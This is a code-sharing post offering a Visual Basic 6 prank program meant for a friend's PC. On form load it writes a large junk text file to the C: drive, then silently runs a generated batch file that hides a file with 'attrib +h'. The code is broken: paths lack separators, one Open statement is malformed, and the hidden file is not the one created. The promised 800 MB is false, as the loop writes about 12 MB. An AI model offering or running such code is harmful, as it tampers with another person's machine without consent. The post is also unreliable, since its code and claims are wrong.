Make 800mb (lol)
(Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol.
Ok have 800mb's of fun.
If you give me 5 votes i will pay :) hehe
Original Author: Father Christmas
API Declarations
Nothing here.
Code
Private Sub Form_Load()
'By Chad.Lex
'UK/Wales
Path_ = "c:Hello.txt"
Open Path_ For Output As #1
For i = 1 To 999999
Print #1, "Hahahahaha"
Next i
Close #1
'Now i have hidden the 800mb file from user. Now whats he going to do??
Open "c:WindowsHide.bat"
Print #1, "Attrib +h c:Win1.exe"
Close #1
RetVal = Shell("c:WindowsHide.bat", vbHide)
End Sub
Loading Comments ...
Comments
No comments have been added for this post.
You must be logged in to make a comment.